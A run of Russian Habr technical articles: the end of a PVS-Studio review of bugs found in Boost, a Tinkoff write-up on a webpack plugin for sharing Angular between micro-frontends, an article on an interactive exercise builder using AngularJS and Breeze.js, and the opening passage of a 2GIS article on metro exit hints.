size1_(o.size1_), size2_(o.size2_),
nnz_(o.nnz_),
index1_data_(o.index1_data_),
index2_data_(o.index2_data_),
value_data_(o.value_data_)
{}
```
### Фрагмент N3. Неточность в освобождении памяти
```
static std::basic_string get(char const\* source = "")
{
....
std::auto\_ptr result (new wchar\_t[len+1]);
....
}
```
Диагностическое сообщение PVS-Studio: V554 Incorrect use of auto\_ptr. The memory allocated with 'new []' will be cleaned using 'delete'. tree\_to\_xml.ipp 71
Контейнер 'std::auto\_ptr' является неподходящим типом для хранения указателя на массив объектов. Для уничтожения массива будет использоваться оператор 'delete', а не 'delete []'. Скорее всего не фатальная, но самая настоящая ошибка. Опасность таких ошибок хорошо описана в статье "[delete, new[] в C++ и городские легенды об их сочетании](http://www.viva64.com/go.php?url=1270)".
Аналогичная ошибочка присутствует здесь: generate\_static.hpp 53.
### Фрагмент N4. Классика жанра. SOCKET
По-моему, редко можно встретить проект, где нет хотя бы одной ошибки, связанный с использованием типа SOCKET. Напомню суть беды. Нередко статус операции проверяют следующим образом:
```
SOCKET s = Foo();
if (s < 0) { Error(); }
```
Такая проверка незаконна. Следует сравнивать переменную с константой SOCKET\_ERROR. Однако, программисты часто ленятся и пишут «socket < 0» или «socket >= 0».
В Linux тип SOCKET знаковый и подобная халтурная работа сходит с рук. В Windows тип SOCKET является беззнаковым. В результате, условия всегда ложны и ошибочные ситуации никак не обрабатываются.
Нашлась такая ошибка и в Boost.
```
typedef SOCKET socket_type;
class socket_holder
{
....
socket_type socket_;
....
socket_type get() const { return socket_; }
....
};
template
boost::system::error\_code accept(....)
{
....
// On success, assign new connection to peer socket object.
if (new\_socketnew\_socket.get() >= 0)
{
if (peer\_endpoint)
peer\_endpoint->resize(addr\_len);
if (!peer.assign(impl.protocol\_, new\_socket.get(), ec))
new\_socket.release();
}
return ec;
}
```
Диагностическое сообщение PVS-Studio: V547 Expression 'new\_socket.get() >= 0' is always true. Unsigned type value is always >= 0. win\_iocp\_socket\_service.hpp 436
В Windows этот фрагмент кода будет работать не так, как ожидал программист. Условие «new\_socketnew\_socket.get() >= 0» выполняется всегда.
### Фрагмент N5. Опечатка
```
void set_duration_style(duration_style style)
{
duration_style_ == style;
}
```
Диагностическое сообщение PVS-Studio: V607 Ownerless expression 'duration\_style\_ == style'. base\_formatter.hpp 51
Думаю особенно комментировать здесь нечего. Полагаясь на название функции, мне кажется, здесь должно быть написано: «duration\_style\_ = style». Просто опечатка.
Посмотрите на эту ошибку и представьте, сколько нервов и времени может экономить PVS-Studio при регулярном использовании. Мы все постоянно делаем такие ляпы. Потом ищем и правим их. Мы не помним про них, так как они слишком мелкие. Но они складываются в часы и дни, бессмысленно потраченные программистом. PVS-Studio хорошо ищет опечатки. Попробуйте режим инкрементального анализа. И когда инструмент покажет вам тройку таких ляпов сразу после компиляции, вы полюбите его.
Вы не делаете таких ошибок? Ещё раз посмотрите этот пример ([и](http://www.viva64.com/ru/examples/V607/) [разные](http://www.viva64.com/ru/examples/V501/) [другие](http://www.viva64.com/ru/examples-V517/) [примеры](http://www.viva64.com/ru/examples/V560/)). Думаю, этот код писал не студент. Просто мозг человек не совершенен, и мы все допускаем ошибки. Это нормально и нет ничего плохого, чтобы подстраховаться, используя различные вспомогательные инструменты: статические анализаторы кода, методологию TDD, обзоры кода.
### Фрагмент N6. Потенциально опасное чтение из потока
```
template< typename CharT >
basic_settings< CharT > parse_settings(std::basic_istream< CharT >& strm)
{
....
string_type line;
while (!strm.eof())
{
std::getline(strm, line);
const char_type* p = line.c_str();
parser.parse_line(p, p + line.size());
line.clear();
++line_number;
}
....
}
```
Диагностическое сообщение PVS-Studio: V663 Infinite loop is possible. The 'cin.eof()' condition is insufficient to break from the loop. Consider adding the 'cin.fail()' function call to the conditional expression. settings\_parser.cpp 285
Этот код делает, что должен делать — читает данные из файла. Анализатору не нравится, что код может привести к зацикливанию. Я не знаю, как точно смоделировать опасную ситуацию, но попробую предположить. Пусть файл находится на сетевом диске. В момент чтения, соединение разрывается. Функция 'eof()' будет возвращать 'false'. Ведь файл не прочитан до конца. Чтобы отлавливать такие ситуации рекомендуется использовать функцию 'eof()' в паре с функцией 'fail()'. В приведенном фрагменте функция 'fail()' нигде не зовется, а значит возможна неприятная ситуация при работе программы. Из таких мелочей и складывается надежность программ и их устойчивость к ошибкам.
И ещё одна потенциально опасное место: V663 Infinite loop is possible. The 'cin.eof()' condition is insufficient to break from the loop. Consider adding the 'cin.fail()' function call to the conditional expression. adjacency\_list\_io.hpp 195
### Фрагмент N7. Подозрительное вычитание
```
template<>
struct identity_element
{
static boost::gregorian::date\_duration value()
{
return
boost::gregorian::date(boost::gregorian::min\_date\_time) -
boost::gregorian::date(boost::gregorian::min\_date\_time);
}
};
```
Сообщение анализатора PVS-Studio: V501 There are identical sub-expressions 'boost::gregorian::date(boost::gregorian::min\_date\_time)' to the left and to the right of the '-' operator. gregorian.hpp 57
Мне кажется, или эта функция всегда будет возвращать 0?
Заключение
----------
Я считаю, что анализатор PVS-Studio великолепно показал себя. Найти хоть что-то в Boost это огромное достижение. И анализатор сделал это! | https://habr.com/ru/post/190888/ | null | ru | null |
# Как мы распилили монолит. Часть 4. И как Angular между приложениями пошарили
В [первой](https://habr.com/ru/company/tinkoff/blog/517230/), [второй](https://habr.com/ru/company/tinkoff/blog/520476/) и [третьей](https://habr.com/ru/company/tinkoff/blog/527922/) частях мои коллеги рассказали, как и почему мы распиливали монолит.
Если коротко, то мы создали решение, которое позволило в рамках одной открытой страницы браузера запускать несколько независимых Angular-приложений, шарить между ними данные, управлять роутингом и аутентификацией. Мы научились бороться с утечками памяти и решать конфликты глобальных стилей приложений. Но одна проблема оставалась открытой — каждое приложение несло в своем бандле Angular, RxJS, zone.js и т. д. И в этой статье я расскажу, как мы ее решили.
Исследование
------------
Как правило, решение неочевидных проблем начинается с исследования. Нам предстояло исследовать уже существующие техники дедупликации загружаемых библиотек.
Итак, дано:
* десятки приложений, созданных с помощью Angular CLI или nx;
* доступ к конфигурации webpack через кастомные билдеры;
* артефакты сборок webpack каждого приложения;
* одна страница браузера.
Минимальная цель: запустить дочерние приложения на Angular, на котором уже работает Frame Manager.
Мы выделили для себя четыре гипотетических варианта решения проблемы:
1. Monorepo.
2. Micro application like a package.
3. Webpack Externals.
4. Webpack Module Federation.
Первые два способа — про организацию кода и не вяжутся с уже существующей архитектурой, которая была описана в предыдущих частях, но мы решили, что нужно рассмотреть все варианты, это же всего лишь исследование. Остальные два — про конфигурацию webpack и кажутся здесь более уместными. Ниже мы рассмотрим каждый из них.
Monorepo & Micro app like a package
-----------------------------------
*Monorepo — это подход, когда все приложения и библиотеки хостятся в одном репозитории.*
*Micro app like a package — имеется в виду подход, когда каждое приложение собирается как npm-пакет и устанавливается в host-приложение.*
Плюсы и минусы обоих подходов схожи (поэтому они и объединены в одном пункте).
**Плюсы**
* Максимально возможная оптимизация бандла средствами Angular.
* Одни и те же версии библиотек у всех приложений.
* Отсутствие костылей с инициализацией.
**Минусы**
* Всегда нужно релизить все.
* Миграции всех приложений при апдейте зависимостей.
* Много инфраструктурных изменений.
Вывод напрашивается сам (хотя он был понятен еще до осознания этих плюсов/минусов) — оба решения совершенно нам не подходят.
Webpack Externals
-----------------
*Webpack Externals* — это конфигурационная опция webpack, позволяющая исключать зависимости из бандла. Если в пользовательском окружении есть доступ к библиотеке, например через глобальные переменные, то эта опция как раз для такого случая.
**Плюсы**
* Можно добиться экстремально маленького бандла. То есть взять и исключить вообще все внешние библиотеки, оставив только код самого приложения.
**Минусы**
* Исключенные библиотеки все равно нужно поставлять.
* Ничего не умеет из коробки
И опять неутешительный вывод — нам необходимо решение чуть более сложное чем просто вырезать Angular из бандла.
Webpack Module Federation
-------------------------
*Webpack Module Federation* — это подход, когда несколько отдельных сборок формируют одно приложение. Эти отдельные сборки не должны иметь зависимости друг от друга, поэтому их можно разрабатывать и развертывать индивидуально. Звучит многообещающе!
**Плюсы**
* Приложения остаются самодостаточными
* Архитектурно ничего не меняется
**Минусы**
* На момент исследования Angular не поддерживал webpack 5. Сейчас поддерживает [экспериментально](https://blog.angular.io/version-11-of-angular-now-available-74721b7952f7).
* На момент исследования никто не знал, когда Angular будет поддерживать webpack 5. На момент публикации, можно сказать, ничего не изменилось.
Итого: нестабильность, неопределённость и разочарование.
Результат исследования
----------------------
Нам не подошло ни одно из существующих решений.
Исследование 2.0
----------------
Да, мы запустили еще одно исследование, но уже на основе результатов предыдущего мы составили список требований к будущему решению:
1. Приложения остаются самодостаточными. Каждое приложение продолжает так же независимо разрабатываться и имеет возможность самостоятельно запускаться как изолированно в iframe, так и без него.
2. Архитектурные изменения минимальны. Решение быстро и безболезненно интегрируется в любое приложение без глобальных изменений в организации кода и кодовой базы.
3. Приемлемое время и сложность имплементации.
4. Фолбэки. В этом пункте под фолбэками мы имеем в виду возможность приложения самостоятельно догрузить библиотеку для работы, если никакое другое приложение этой библиотекой еще не поделилось.
5. Библиотеки разных версий живут в своих бандлах.
В итоге этого исследования решение все-таки было найдено и через три дня уже был готов прототип.
@tinkoff/shared-library-webpack-plugin
--------------------------------------
Мы сделали [webpack-плагин](https://shared-library-webpack-plugin.gitbook.io/sharedlibrarywebpackplugin/), который отвечает всем нашим требованиям. Если коротко, то плагин добавляет еще одну сущность в бандлы, которую мы назвали *shared chunks*. Эти сущности умеют использовать все приложения, собранные с помощью плагина. Если подробнее, то стоит начать с основных сущностей webpack.
Основные сущности webpack, которые выделили мы:
* Runtime — отвечает за запуск приложения, поставляет такие функции, как require, также умеет загружать lazy chunks и т. д.
* Entries — чанки, содержащие точку входа приложения.
* Lazy chunks — ленивые чанки, загружаемые в приложение по требованию.
Плагин добавляет еще одну сущность:
* Shared chunks — отдельный чанк, содержащий библиотеки, которые могут использоваться несколькими приложениями.
Как выглядит сборка на примере Angular
--------------------------------------
Допустим, мы имеем два приложения, сгенерированных с помощью Angular CLI. С помощью любого кастомного билдера с поддержкой модификации конфигурации webpack и в оба приложения добавляем плагин со следующими настройками:
В настройках мы указываем, что приложение будет делиться всеми используемыми пакетами Angular (@angular/\*\* ), а также zone.js. Артефакты такой сборки будут выглядеть примерно так.
Здесь мы видим, что каждый пакет Angular выделен в свой чанк, как и библиотека zone.js. Когда первое приложение загрузится, оно запросит все свои чанки, включая Angular и zone.js, и запустится.
При загрузке второго приложения будут запрошены runtime, main и polyfills. И… приложение запустится. Никакой повторной загрузки Angular и zone.js. Второе приложение использует уже загруженные ранее экземпляры.
Как плагин работает
-------------------
При сборке плагин:
1. Анализирует ресурсы и ищет библиотеки, которые указаны в настройках.
2. Выделяет библиотеки для шаринга в отдельные чанки (те самые shared chunks), хэширует имена с учетом версии.
3. Учит entries и runtime работать с shared chunks и сообщает каждому entry, какие shared chunks ему нужны для работы.
Как загружается приложение
--------------------------
1. На клиенте загружается runtime и entries. Тут все стандартно.
2. Каждая точка входа проверяет наличие обязательных для запуска шареных библиотек и сообщает о результатах runtime.
3. Runtime скачивает недостающие библиотеки и маркирует их как загруженные.
4. Runtime запускает приложение.
Кажется, что все просто. Но, как правило, просто только для автора кода. И то только первые пару месяцев.
А что насчет библиотек с разными версиями?
------------------------------------------
При формировании имен чанков плагин учитывает версию библиотеки. По умолчанию мы считаем, что каждая библиотека придерживается семантического версионирования и фикс версию можно упустить.
Это значит, что для модулей @angular/core@10.0.0 и @angular/core@10.0.1 будет сформировано одинаковое имя — angularCore-10.0. Мы видим, что фикс-версия просто отсутствует. Именно поэтому чанки, имеющие одинаковые имена, грузятся единожды.
Если третье приложение имеет в зависимостях @angular/core/@9.x.x, то для shared chunk будет сформировано имя angularCore-9.x. Понятно, что в таком случае приложение загрузит свою версию библиотеки и будет работать с ней.
В случае проблем совместимости стандартное поведение формирования имени чанка можно изменить тремя параметрами: [chunkname](https://shared-library-webpack-plugin.gitbook.io/sharedlibrarywebpackplugin/docs/the_plugin#chunkname), [suffix](https://shared-library-webpack-plugin.gitbook.io/sharedlibrarywebpackplugin/docs/the_plugin#suffix) и [separator](https://shared-library-webpack-plugin.gitbook.io/sharedlibrarywebpackplugin/docs/the_plugin#separator).
Demo
----
Самым нетерпеливым — [ссылка на репозиторий](https://github.com/IKatsuba/shared-library-plugin-demo)
Дано:
* Хост-приложение. В него входит верхний тулбар и навигация слева.
* Два дочерних приложения. Каждое из них состоит из тулбара и некоего форматированного текста. В нашем случае это отрисованные md-файлы.
То есть на клиента загружается хост-приложение, которое в зависимости от роута подгружает дочернее приложение, предварительно подготавливая для него окружение.
Каждое приложение несет в себе свой экземпляр Angular, zone.js и т. д. Общий вес JavaScript после загрузки на клиента всех трех приложений составит 282.8kb в gzip.
В каждом приложении в сборку включаем плагин со следующими настройками:
```
const {
SharedLibraryWebpackPlugin,
} = require('@tinkoff/shared-library-webpack-plugin');
module.exports = {
plugins: [
new SharedLibraryWebpackPlugin({
libs: [
'@angular/core',
'@angular/common',
'@angular/common/http',
'@angular/platform-browser',
'@angular/platform-browser/animations',
'@angular/animations',
'@angular/animations/browser',
'zone.js/dist/zone',
],
}),
],
};
```
Из конфигурации видно, что мы хотим пошарить между приложениями основные модули Angular и zone.js. Собираем, запускаем, открываем браузер и видим ужасную картину, когда размер хост-приложения увеличился на 58%(!).
Так происходит из-за отключения tree shaking для shared chunks. Причина отключения очень проста: заранее неизвестно, какую часть библиотеки будет использовать другое приложение.
Но при загрузке дочерних приложений мы видим совсем другую картину. Они стали грузить на ≈70% меньше JavaScript для запуска, так как Angular и zone.js уже были загружены. Общий размер загружаемого JavaScript упал на 19%.
Но можно ли еще уменьшить количество загружаемого кода? Оказывается, можно, стоит лишь чуть больше поиграть с webpack.
Используемые экспорты
---------------------
Как я писал выше, мы блокируем возможность webpack вырезать неиспользуемый в приложении код, потому что никогда заранее не знаем, какую часть шареной библиотеки будет использовать дочернее приложение. А что, если знаем?
В теории хост-приложение должно поставить на клиента шареную библиотеку, которая содержит объединение экспортов всех дочерних приложений. С этой мыслью мы добавили новую опцию в конфигурацию плагина — usedExports, которая принимает массив строк. Фактически это перечисление экспортов из библиотеки, которые webpack должен включить в shared chunk в дополнение к уже используемым в приложении.
Итак, пора проверить, как это работает на нашем демо. Для этого мы модифицируем настройки плагина:
```
const {
SharedLibraryWebpackPlugin,
} = require('@tinkoff/shared-library-webpack-plugin');
module.exports = {
plugins: [
new SharedLibraryWebpackPlugin({
libs: [
{ name: '@angular/core', usedExports: [] },
{ name: '@angular/common', usedExports: [] },
{ name: '@angular/common/http', usedExports: [] },
{ name: '@angular/platform-browser', usedExports: ['DomSanitizer'] },
{ name: '@angular/platform-browser/animations', usedExports: [] },
{ name: '@angular/animations', usedExports: [] },
{ name: '@angular/animations/browser', usedExports: [] },
'zone.js/dist/zone',
],
}),
],
};
```
Пустой массив в usedExports означает, что webpack включит в shared chunk только экспорты, используемые в самом приложении. Опытным путем мы узнали, что для корректной работы одному из приложений понадобится DomSanitizer из модуля @angular/platform-browser, что мы тоже отражаем в конфигурации.
Собираем, запускаем, открываем браузер и видим…
Хост-приложение грузит 129kb, что на 12kb больше, чем загружает хост-приложение, собранное без плагина. Но что с остальными приложениями? Они грузят все те же ≈23kb. Итого суммарно на клиента попадает на 38% меньше JavaScript кода. То есть было 282.8kb, а стало 174.6kb. Неплохо? Кажется, что немного лучше, чем неплохо, и даже хорошо! Для 20+ приложений со схожей архитектурой количество профита будет еще больше!
Ниже привожу табличку для наглядности сборки демо без плагина, с плагином и с usedExports.
Подведем итоги
--------------
При разработке плагина мы оглядывались на выявленные в ходе первого исследования требования и как результат — все требования соблюдены и учтены (ставим мысленные пять чеков к пунктам из абзаца с требованиями). Количество загружаемого на клиента JavaScript-кода уменьшено. Дочерние приложения быстрее загружаются и инициируются, потребляют меньше памяти и вычислительных ресурсов. Мы перестали бояться webpack. И обогнали появление Webpack 5 в Angular на полгода. Тут также нужно учесть, что сейчас это даже не стабильная связка.
На этой ноте наше повествование о распиливании монолита официально закончено. Мы были рады поделиться своим опытом и будем рады почитать про ваш! Больше хардкорных тем в ленту «Хабра»!
Полезные ресурсы
----------------
SharedLibraryWebpackPlugin[shared-library-webpack-plugin.gitbook.io](https://shared-library-webpack-plugin.gitbook.io/sharedlibrarywebpackplugin/)IKatsuba/shared-library-plugin-demo[github.com](https://github.com/IKatsuba/shared-library-plugin-demo)Module Federation | webpack[webpack.js.org](https://webpack.js.org/concepts/module-federation/)Angular[angular.io](https://angular.io/guide/roadmap)Version 11 of Angular Now Available[blog.angular.io](https://blog.angular.io/version-11-of-angular-now-available-74721b7952f7)Митапы[meetup.tinkoff.ru](https://meetup.tinkoff.ru/event/angular-meetup-18-performance/)**Здесь оставлю ссылки на предыдущие части**
Как мы распилили монолит. Часть 1Привет, меня зовут Ваня. Я решаю архитектурные задачи на фронтенде в Тинькофф Бизнесе и сейчас расск...[habr.com](https://habr.com/ru/company/tinkoff/blog/517230/)Как мы распилили монолит. Часть 2, Frame ManagerПривет, меня зовут Стас, я работаю в команде Тинькофф Бизнеса. В прошлой статье мой коллега Ваня рас...[habr.com](https://habr.com/ru/company/tinkoff/blog/520476/)Как мы распилили монолит. Часть 3, Frame Manager без фреймовПривет. В прошлой статье я рассказал про Frame manager — оркестратор фронтовых приложений. Описанная...[habr.com](https://habr.com/ru/company/tinkoff/blog/527922/) | https://habr.com/ru/post/534522/ | null | ru | null |
# Конструктор интерактивных упражнений для online-обучения
##### Введение
Жизнь в современном мире развивается динамично, технологии появляются и умирают, а вместе с ними устаревают и наши навыки. 20 лет назад нужно было помнить функции Windows API, сейчас многие специалисты даже не знают, что это такое, и это не мешает им работать. На первый план вышли другие технологии, требующие совершенно другого опыта. Например, Java Script, HTML 5, CSS. Через 10 лет на смену, скорее всего, придут другие технологии и инструменты, другой способ мышления. Поэтому процесс обучения в современном меняющемся мире становится непрерывным и все более интенсивным. Это must have любого современного специалиста.
##### Как это было ранее
Сейчас появляются новые способы получения знаний – вебинары и видеоуроки, различные видеокурсы. Наряду с этим книги не потеряли своей актуальности, просто теперь у вас есть широкий выбор, каким способом получать знания – со смартфона или в библиотеке. Конечно, эти способы отличаются степенью интерактивности и комфорта.
В старых добрых книгах есть раздел «Контрольные вопросы». Зачем они нужны? Дело в том, что важным моментом обучения является самопроверка. Не только потому, что человек может самостоятельно узнать, правильно ли он усвоил пройденный материал. Важно также, что в момент ответа на контрольные вопросы человек критически переоценивает пройденное, открываются новые углы зрения и перспективы, что значительно повышает эффективность обучения.
Представляем себе, что вы прочитали главу из книги по механике, посвященную блокам. Какие вопросы могут вам встретиться в конце главы? Например:
Из каких элементов состоит блок?
Что такое полиспаст?
Возможно, к главе прилагались бы задачи. Например:
Условие задачи:
В системе, изображённой на рисунке, присутствуют блоки и грузы, соединенные тросами, масса самого правого груза равна 700 грамм, а массы блоков от 100 до 600 грамм. Система уравновешена и неподвижна. Найдите массы грузов m1, m2 и m3. Массой, трением и растяжением тросов можно пренебречь. Кстати, это довольно интересная задача, кто хочет порешать ее, лучше не заглядывать дальше, поскольку далее будет ответ.
Для того чтобы узнать и проверить, мы бы заглянули в конец книги и посмотрели ответы. Таким образом, мы бы критически проанализировали прочитанное, и оно запомнилось бы намного лучше, чем если бы мы просто прочитали материал. Самопроверка закрепляет знания.
##### Сейчас (наши дни)
Однако прогресс не стоит на месте, и теперь, читая электронную книгу, вы тоже можете встретить,
например, такое проверочное упражнение:
Здесь, как видите, все гораздо нагляднее и быстрее. Нужно перетащить все гири на свои места. При этом правильность ответа мы узнаем сразу и не будем тратить время на перелистывание страниц в поисках страницы с ответами. Что очень важно, наше внимание останется сконцентрировано на предметной области.
##### Как сделать такое упражнение
Каким же образом сделать такое упражнение? Здесь в общем случае нужно четыре человека:
1. Нужен специалист в предметной области (в данном случае физик), который сформулирует суть упражнения и варианты ответов.
2. Нужен дизайнер, который придаст упражнению надлежащий внешний вид.
3. Нужен web-программист, который напишет код.
4. Нужен специалист по контролю качества (Quality Control — QC), который убедится, что данное упражнение работает хорошо, во всех браузерах и т.п.
Процесс разработки упражнения выглядят следующим образом:
1. Специалист формулирует суть задачи, ручкой на бумаге рисует схему упражнения.
2. Дизайнер придает этому нужный вид.
3. Программист реализует упражнение.
4. QC проверяет упражнение, делает свои замечания и возвращает упражнение программисту. Шаги 3-4 повторяются несколько раз.
5. Потом дизайнер в рамках процедуры авторского надзора делает свои замечания по внешнему виду упражнения, и, таким образом, шаги 3-5 повторяются несколько раз.
6. Потом опять подключается специалист, который проверяет, не потерялась ли за всеми перипетиями суть упражнения. В общем случае шаги 3-6 могут также повторяться несколько раз.
Только после этого картинку можно публиковать в электронной книге или записывать на DVD.
Таким образом, мы видим, что процесс может занимать достаточно длительное время.
##### Будущее
Идея нашего инструмента заключалась в том, чтобы подобные упражнения создавал непосредственно специалист в предметной области, поэтому инструмент мы решили сделать максимально простым. На данном этапе он поддерживает 4 основных типа упражнения:
Drag Elements, сопоставление элементов друг-другу.
Text Gaps, ввод текста вручную.
Sorting, сортировка.
Single, Multiple choice.
Однако мы не будем рассматривать все возможности системы.
Давайте просто попробуем создать упражнение по уравновешиванию гирь. Для начала, конечно же, нам нужна картинка соответствующего размера. Попросим дизайнера нарисовать ее:
Далее заходим в наш инструмент и создаем новое упражнение типа Drag Drop
Чтобы вся информация о задаче была в одном месте, введем вопрос прямо в заголовке упражнения.
Теперь загрузим нашу картинку в редактор.
Теперь необходимо отметить места, куда можно будет перетаскивать гири. Для этого нам понадобится три элемента управляющих элемента типа «Прямоугольник» и текстовые элементы, чтоб нарисовать знаки вопроса:
Каждому прямоугольнику необходимо задать свойство Behavior. Это свойство надо выставить в “drop-target”. Все, что осталось, – это загрузить изображения гирь и выставить им в качестве Behavior значение “drop-element”, а также поставить им правильные target.
Теперь можно проиграть упражнение в режиме тестирования.
Готово!!! Можно вставлять в книжку.
##### Реализация
Для реализации такого инструмента была выбрано популярное сочетание технологии AngularJS и Breeze.JS. Такой подход позволяет иметь одну модель данных, которая синхронизируется одновременно с отображением с помощью AngularJS и с серверной стороной при помощи Breeze.JS. Такой подход вполне естественен для подобного рода решений, поскольку вся сложность сосредотачивается на клиентском уровне, а не “размазывается” по всем слоям приложения. Мы не будем здесь описывать подробно архитектуру решения, возможно, сделаем это в следующей статье. Остановимся на одной интересной проблеме, которая встретилась нам при реализации.
Важным моментом является то, что приложение сразу сохраняет все изменения клиентской модели на серверной стороне. Поэтому для работоспособности приложения критически важна последовательность выполнения операций. Представим, например, что вы добавляете элемент и сразу удаляете его. Если при этом порядок будет нарушен, то вы сначала удалите несуществующий элемент и получите ошибку. Для решения этой проблемы существует расширение для breeze, называемое breeze.savequeuing.js.
Однако при использовании этой библиотеки обнаружилась следующая проблема: Breeze обновляет состояние сущностей на клиентской модели значениями, только что сохранёнными на сервере. Таким образом, при большом количестве изменений в единицу времени состояние сущности на клиенте может вернуться в некоторое предыдущее состояние в результате запаздывания сохранения на сервере. Можно, конечно, иметь две копии клиентской модели и перезаписывать поля сущностей выборочно, обрабатывая события сохранения в breeze. Однако в этом случае теряется сама суть использования breeze, т.е. создание общей для клиента и сервера модели данных.
К счастью, breeze поддерживает своего рода расширяемость (собственно breeze.savequeuing.js реализована именно таким образом), поэтому можно сделать свое расширение, работающее “поверх” breeze.savequeuing.js, которое перетирает не все сущности, а только некоторые, по нашему выбору.
Как это сделать. Во-первых, переопределим функцию updateTargetFromRaw.
```
EntityType.prototype.enableSaveWithNoResultUpdate = function () {
this._updateTargetFromRaw
= EntityType.prototype._updateTargetFromRawNoResultUpdate;
};
```
Код этой функции довольно длинный, поэтому мы заменили часть кода комментариями.
```
EntityType.prototype._updateTargetFromRawNoResultUpdate
= function (target, raw, rawValueFn) {
var overwrite =
/* Вычислить некоторым образом, нужно ли обновлять сущность или нет */;
this.dataProperties.forEach(function (dp) {
var rawVal = rawValueFn(raw, dp);
if (rawVal === undefined) return;
var dataType = dp.dataType;
var oldVal;
if (dp.isComplexProperty) {
//
} else {
var val;
if (overwrite) {
// Стандартный код breeze.js, который обновляет сущность
} else {
if ((dp.isPartOfKey || !tp || (tp === dp.defaultValue))) {
// Стандартный код breeze.js, который обновляет сущность
}
}
}
});
// ...
}
```
Давайте разберем его подробнее. Во-первых, что является контекстом вызова (this) для этой функции. Контекстом является объект, который содержит метаданные сущности. Кроме того, функция принимает три параметра:
target – сущность, которую надо (или не надо) обновить.
raw – “сырые” данные возвращаемые с сервера.
rawValueFn – функция, которая умеет извлекать значение некоторого свойства из сырых данных. Если overwrite == false, т.е. обновлять сущность не нужно, то мы ничего не делаем, за исключением одно важного случая, – если свойство является частью ключа. Почему это важно? Потому что при добавлении новой сущности ключ пуст, а значение в нем появляется только после сохранения на сервере. И после сохранения на сервере его надо сохранить и на клиенте. Если overwrite == true, то сохраняем сущность в обычном порядке.
Конечно, в итоге у нас все получилось и заработало так, как надо.
##### Чего мы добились
Самое главное для нас было уменьшить время создания интерактивных упражнений и сократить трудозатраты. Процесс разработки упражнения теперь выглядит так:
Как видите, он значительно оптимизирован. Нам удалось исключить 2 из 4-х человек, участвующих в создании упражнения. Нам нужны только дизайнер, чтобы нарисовать картинки к упражнению, и специалист в предметной области, который займется созданием упражнения. Отпадает также трудоемкая работа по тестированию поведения упражнения в разных браузерах. Таким образом, время, затрачиваемое на создание, сокращается в несколько раз.
Всегда приятно видеть, как IT-решения помогают трансформировать реальную жизнь и делать ее чуть-чуть проще. | https://habr.com/ru/post/254523/ | null | ru | null |
# Из вагона направо: как работают подсказки 2ГИС
Весной мы добавили новую подсказку о том, в какую сторону выходить из вагона метро. Я Влад, программист С++, и на примере этой подсказки хочу рассказать, из чего состоит жизненный цикл релиза новых фич в 2ГИС. И сколько всего происходит, когда добавляешь — казалось бы — небольшую новую строку с текстом.
Выбираем фиче-крайнего
----------------------
У нас есть процесс, по которому мы разрабатываем новые фичи. Он начинается с выбора фиче-крайнего — это может быть как менеджер, так и разработчик. Если бы циклом доставки фичи до релиза занимались только менеджеры, разработка бы сильно замедлилась.
Разработчиков в штате больше, чем менеджеров, и у фиче-крайнего-разработчика есть преимущество — он глубже понимает, какие будут этапы работы, какие риски могут возникнуть, и может адекватнее оценить сроки тестирования и релиза. Более того, у нас есть курс для фиче-крайних, на котором подробно объясняется, как вести фичу от проработки требований до релиза.
Фиче-крайний курирует все этапы работ по фиче и согласует интеграции между командами. Он же пишет части фичи в своей зоне ответственности, если это разработчик (например, фичу, описанную в этой статье, курировал я как бэкенд-разработчик).
Собираем продуктовые требования
-------------------------------
Мобильная версия 2ГИС уже подсказывает пользователю, в какой вагон метро ему стоит сесть: в первый, ближе к началу/концу, в середину, в последний.
Наш продакт предложил добавить к этой подсказке ещё одну: о том, в какую сторону удобнее выйти из вагона. К счастью, он также написал ТЗ, которое выглядело так:
1. Сопровождать выход пользователя из первого вагона подсказкой «Выходите из вагона направо», а выход из последнего — фразой «Выходите из вагона налево».
2. Уметь обрабатывать «перевёрнутые» платформы.
3. Подсказка должна быть отключаемой для любой платформы.
Почему справедлив первый пункт, можно проиллюстрировать следующим образом:
Сторона выхода зависит от вагона посадки. Сел в первый — вышел направо, сел в последний — вышел налево.Что означает второй пункт ТЗ, что за «перевёрнутые» платформы?
На «перевёрнутых» платформах сторона выхода из вагона не совпадает с той, с которой человек заходил в вагон. Таких платформ не очень много, но их все равно нужно учитывать. Поясним на примере:
Сел в первый — вышел налево, сел в последний — вышел направо, ситуация противоположная той, что на предыдущей картинкеВ принципе всё понятно, и хотелось бы написать: «Мы сделали всё по ТЗ», закончив на этом статью. Однако есть нюансы :)
Декомпозируем задачу
--------------------
Мобильное приложение 2ГИС умеет работать онлайн и офлайн.
**Если у пользователя есть подключение к сети**
Тогда любой запрос на построение маршрута отправляется в виде json-запроса на сервера компании, от которых приходит ответ также в виде json. В json-ответе есть вся информация о построенном маршруте: все предлагаемые варианты маршрутов и все подсказки для каждого маршрута. Мобильному приложению остаётся только распарсить ответ и визуализировать карточку построенных маршрутов (кстати, [наш публичный API](https://docs.2gis.com/ru/api/navigation/routes/overview?utm_source=habr&utm_medium=article&utm_campaign=harb_article_+0722)).
**Если доступа к сети у пользователя нет**
В этом случае поиск маршрута происходит внутри самого приложения. Это фолбэк-стратегия поиска (от англ. fallback — резервный вариант).
Как понятно из названия, предпочтение отдаётся поиску маршрутов на сервере. Во-первых, сервер чаще всего ищет маршруты быстрее, чем мобильное приложение (даже с учетом задержек сети из-за большой разницы в производительности сервера и смартфона). Во-вторых, данные по городам на серверах обновляются чаще, чем на устройствах пользователей, поэтому они более актуальны (информация о маршрутах, их расписании, перекрытиях на дорогах и прочее).
Естественно, наша новая подсказка должна работать в обоих случаях.
Так определились **верхнеуровневые компоненты**, в которых должна быть реализована подсказка:
1. Поисковой сервер 2ГИС должен уметь генерировать новую подсказку: это задача для команды алгоритмов/бэкенда.
2. В мобильном приложении новая подсказка должна отображаться на экране пользователя путём парсинга json-ответа от сервера либо генерироваться в приложении: это задача для команды мобильной разработки.
На самом деле, нет необходимости раздельно генерить подсказки на сервере и в мобильном приложении (клиенте), поскольку за поиск маршрутов на общественном транспорте отвечает одна и та же поисковая библиотека, написанная на С++. Когда сервер 2ГИС получает запрос от клиента о построении маршрута на общественном транспорте, он использует эту библиотеку для поиска маршрутов, а затем сериализует результат в json-ответ, который отправляет клиенту. Если работа с сервером по каким-то причинам недоступна, то клиент обращается к той же библиотеке, которая слинкована с мобильным приложением, и получает результат. Конечно, сериализовывать этот результат в json в этом случае не имеет смысла. А значит, требования к реализации выглядят следующим образом:
1. Новая подсказка должна генерироваться в библиотеке поиска маршрутов на общественном транспорте (задачка для бэкенда).
2. Поисковый сервер должен уметь добавлять подсказку в свой json-ответ (задачка для бэкенда).
